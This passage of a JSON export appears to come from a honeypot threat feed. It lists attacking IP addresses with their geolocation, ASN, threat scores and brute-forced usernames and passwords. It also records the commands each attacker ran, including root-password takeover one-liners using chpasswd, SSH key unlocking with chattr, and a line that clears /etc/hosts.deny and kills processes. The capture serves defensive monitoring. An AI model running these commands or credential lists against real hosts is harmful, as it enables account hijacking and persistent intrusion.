        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"n8n\\nmLaAtofZ6ZQW\\nmLaAtofZ6ZQW\\n\"|passwd",
        "echo \"root:zZqZuWAUKcO0\"|chpasswd|bash",
        "echo \"smbuser1234\\nLgUBerlMrzAn\\nLgUBerlMrzAn\\n\"|passwd",
        "echo -e \"n8n\\nmLaAtofZ6ZQW\\nmLaAtofZ6ZQW\"|passwd|bash",
        "echo -e \"smbuser1234\\nLgUBerlMrzAn\\nLgUBerlMrzAn\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 12.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 299,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T13:23:57.767000+00:00",
        "last_seen_30d": "2026-03-11T13:45:26.690000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 261,
        "Suricata": 38
      }
    },
    "101.47.140.190": {
      "attack_count": 260,
      "first_seen": "2026-03-03T09:46:45.935Z",
      "last_seen": "2026-03-30T15:42:00.847Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "15975328",
        "Abc@1234",
        "Ds123456",
        "Gfhjkm",
        "Qq123456!",
        "Wg123456",
        "Yt123456@",
        "a123456",
        "abcd.1234",
        "asdf;lkj",
        "ly123456!",
        "scott123",
        "sw"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "uname -a",
        "echo \"root:Oo8XwgPMcLRq\"|chpasswd|bash",
        "echo \"root:PA9cNL2G0uss\"|chpasswd|bash",
        "echo \"root:ou2pi5VPJOQp\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 58.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 24.9,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 306,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T09:46:45.935000+00:00",
        "last_seen_30d": "2026-03-30T15:43:10.269000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 260,
        "Suricata": 46
      }
    },
    "87.106.44.170": {
      "attack_count": 259,
      "first_seen": "2026-03-04T14:16:31.571Z",
      "last_seen": "2026-03-04T14:42:57.611Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456*",
        "1234abcd@",
        "20232023",
        "@Bcd1234",
        "Abc12345",
        "Bingo@1993",
        "Centos123",
        "Csdx@13579",
        "Passw0rd!!",
        "Root=1234",
        "password1!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:HITZTEKiAWas\"|chpasswd|bash",
        "echo \"root:iyvHw2hGPPwG\"|chpasswd|bash",
        "echo \"root:ncJ3PKyjCgU9\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 298,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T14:16:31.571000+00:00",
        "last_seen_30d": "2026-03-04T14:44:03.579000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 259,
        "Suricata": 39
      }
    },
    "161.248.189.72": {
      "attack_count": 257,
      "first_seen": "2026-03-20T03:47:57.834Z",
      "last_seen": "2026-03-20T04:09:03.276Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "canal",
        "otrs",
        "test",
        "business",
        "cc",
        "friend",
        "jino",
        "joao",
        "vpnadmin",
        "zxy"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Canal123",
        "Joao123!",
        "business123!",
        "cc1234",
        "friend1234",
        "gabsikee06",
        "password",
        "test123",
        "vpnadmin",
        "zxy123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Canal123\\n0o8Ess0WSiou\\n0o8Ess0WSiou\\n\"|passwd",
        "echo \"password\\nse271fwEOBmH\\nse271fwEOBmH\\n\"|passwd",
        "echo \"test123\\nAgC9QyF7g0Ne\\nAgC9QyF7g0Ne\\n\"|passwd",
        "echo -e \"Canal123\\n0o8Ess0WSiou\\n0o8Ess0WSiou\"|passwd|bash",
        "echo -e \"password\\nse271fwEOBmH\\nse271fwEOBmH\"|passwd|bash",
        "echo -e \"test123\\nAgC9QyF7g0Ne\\nAgC9QyF7g0Ne\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": "Mymensingh",
      "asn": 153523,
      "as_org": "Ummah Host",
      "threat_score": 23.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 294,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T03:47:57.834000+00:00",
        "last_seen_30d": "2026-03-20T04:10:10.181000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 257,
        "Suricata": 37
      }
    },
    "137.184.43.130": {
      "attack_count": 241,
      "first_seen": "2026-03-02T10:58:37.965Z",
      "last_seen": "2026-03-02T11:36:13.545Z",
      "sessions": 44,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "!@#$%",
        "000000",
        "111111",
        "123",
        "123123",
        "123321",
        "1234",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "1234567890",
        "123abc",
        "123qwe",
        "1q2w3e4r",
        "1qaz2wsx",
        "654321",
        "888888",
        "P@ssw0rd",
        "Password1"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 338,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T10:58:18.639000+00:00",
        "last_seen_30d": "2026-03-02T11:37:14.588000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 241,
        "Suricata": 97
      }
    },
    "144.126.219.163": {
      "attack_count": 241,
      "first_seen": "2026-03-03T08:55:15.262Z",
      "last_seen": "2026-03-03T16:52:33.047Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12332112",
        "1234567@",
        "123456Sa",
        "456",
        "Abc123456$",
        "Bingo@1993",
        "By123456",
        "Huawei123@",
        "Itsemoemo2025@Washere2025",
        "Li123456",
        "Password@1234!",
        "Smoker666",
        "Vv123456",
        "Woaini123.",
        "a123321.",
        "a123456!!!",
        "master",
        "qqwwee"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:8scDX2jUws2w\"|chpasswd|bash",
        "echo \"root:bd1BkFB3p6oO\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 300,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T08:55:15.262000+00:00",
        "last_seen_30d": "2026-03-03T16:53:34.949000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 241,
        "Suricata": 59
      }
    },
    "107.150.103.210": {
      "attack_count": 221,
      "first_seen": "2026-03-14T01:35:27.971Z",
      "last_seen": "2026-03-14T02:00:22.213Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "root",
        "netweb",
        "elizabeth",
        "kocom",
        "simone",
        "user2"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "123123qq",
        "12345",
        "Abc@123",
        "Kocom123!",
        "elizabeth1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123\\nu3mNblf26SEZ\\nu3mNblf26SEZ\\n\"|passwd",
        "echo \"Kocom123!\\nh0WaOF5gvJ2W\\nh0WaOF5gvJ2W\\n\"|passwd",
        "echo \"root:wqlPsoUu3h5O\"|chpasswd|bash",
        "echo -e \"123\\nu3mNblf26SEZ\\nu3mNblf26SEZ\"|passwd|bash",
        "echo -e \"Kocom123!\\nh0WaOF5gvJ2W\\nh0WaOF5gvJ2W\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 15.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 243,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T01:35:27.971000+00:00",
        "last_seen_30d": "2026-03-14T02:01:22.850000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 221,
        "Suricata": 22
      }
    },
    "116.99.171.253": {
      "attack_count": 218,
      "first_seen": "2026-03-03T20:13:04.997Z",
      "last_seen": "2026-03-03T20:31:47.395Z",
      "sessions": 42,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "support",
        "test",
        "user",
        "1234",
        "btf",
        "config",
        "ftp",
        "ftpuser",
        "guest",
        "installer",
        "nikita",
        "operator",
        "oracle",
        "rebecca",
        "squid",
        "sshd",
        "sync",
        "system"
      ],
      "passwords_attempted": [
        "1234",
        "admin",
        "password",
        "12345",
        "0l0ctyQh243O63uD",
        "123456",
        "321start",
        "@",
        "OkwKcECs8qJP2Z",
        "abcd1234",
        "admin01",
        "admin123",
        "admin@123",
        "alpine",
        "asteriskftp",
        "click1",
        "config",
        "default",
        "ftp",
        "guest"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 4.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.9,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 306,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T20:13:04.997000+00:00",
        "last_seen_30d": "2026-03-03T20:32:48.135000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 218,
        "Suricata": 88
      }
    },
    "193.163.201.149": {
      "attack_count": 197,
      "first_seen": "2026-03-07T02:39:17.140Z",
      "last_seen": "2026-03-07T03:02:50.192Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "exx",
        "certftp",
        "dev1",
        "elemental",
        "ftptest",
        "king",
        "test101",
        "user3"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "@qwer2024",
        "@qwer2025",
        "Abcd1234!",
        "Dev1123!",
        "Exx123!",
        "King123",
        "Ty112233",
        "test1011234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Exx123!\\n6jiUoYHtLLFM\\n6jiUoYHtLLFM\\n\"|passwd",
        "echo \"root:5Rocc4FBx4c0\"|chpasswd|bash",
        "echo -e \"Exx123!\\n6jiUoYHtLLFM\\n6jiUoYHtLLFM\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 212552,
      "as_org": "BitCommand LLC",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 234,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T02:39:17.140000+00:00",
        "last_seen_30d": "2026-03-07T03:03:51.843000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 197,
        "Suricata": 37
      }
    },
    "74.94.234.151": {
      "attack_count": 193,
      "first_seen": "2026-03-12T19:30:18.707Z",
      "last_seen": "2026-03-12T19:55:44.387Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "old",
        "opc",
        "centos7",
        "claude",
        "den",
        "jason",
        "khalil",
        "nikhil",
        "project",
        "root",
        "xbmc"
      ],
      "passwords_attempted": [
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "Nikhil123",
        "Xbmc123!",
        "adminuser",
        "centos7pass",
        "jason123",
        "oldpass",
        "opc123!",
        "password"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"oldpass\\nXkSVB45y0w1F\\nXkSVB45y0w1F\\n\"|passwd",
        "echo \"opc123!\\npaOn9PBhVR0T\\npaOn9PBhVR0T\\n\"|passwd",
        "echo -e \"oldpass\\nXkSVB45y0w1F\\nXkSVB45y0w1F\"|passwd|bash",
        "echo -e \"opc123!\\npaOn9PBhVR0T\\npaOn9PBhVR0T\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "West Bloomfield",
      "asn": 7922,
      "as_org": "Comcast Cable Communications, LLC",
      "threat_score": 13.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 229,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T19:30:18.707000+00:00",
        "last_seen_30d": "2026-03-12T19:56:48.236000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 36
      }
    },
    "4.221.162.168": {
      "attack_count": 187,
      "first_seen": "2026-03-09T17:18:14.102Z",
      "last_seen": "2026-03-09T17:44:19.743Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "omar",
        "root",
        "ben",
        "elearn",
        "ethan",
        "fox",
        "javier",
        "linode",
        "su",
        "ts3"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123456",
        "Ethan123!",
        "Welcome2026!",
        "benpass",
        "elearn123",
        "password"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345\\n1PNkFFaUqWhV\\n1PNkFFaUqWhV\\n\"|passwd",
        "echo \"root:PyKNfKiEaGut\"|chpasswd|bash",
        "echo -e \"12345\\n1PNkFFaUqWhV\\n1PNkFFaUqWhV\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Johannesburg",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 9.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 219,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T17:18:14.102000+00:00",
        "last_seen_30d": "2026-03-09T17:45:27.332000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 187,
        "Suricata": 32
      }
    },
    "188.226.168.173": {
      "attack_count": 176,
      "first_seen": "2026-03-31T03:38:11.496Z",
      "last_seen": "2026-03-31T04:02:12.853Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "$RFVFR$",
        "%$#@!",
        "1234qwer!!",
        "Ahgf3487@rtjhskl854hd47893@#a4nC",
        "Ali@2023",
        "P@ssw0rd2023",
        "edong1314",
        "wz147258"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:3HgrRNheoxx1\"|chpasswd|bash",
        "echo \"root:okBbAEaUGOfT\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 36.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 205,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T03:38:11.496000+00:00",
        "last_seen_30d": "2026-03-31T04:03:20.622000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 176,
        "Suricata": 29
      }
    },
    "101.47.142.65": {
      "attack_count": 150,
      "first_seen": "2026-03-02T11:06:44.918Z",
      "last_seen": "2026-03-02T11:44:38.906Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "2580",
        "3245gs5662d34",
        "345gs5662d34",
        "Qwerty1234",
        "a!@sd",
        "aa162113",
        "hallo123",
        "kokos",
        "qq12345678",
        "qwe@123",
        "ubuntu"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
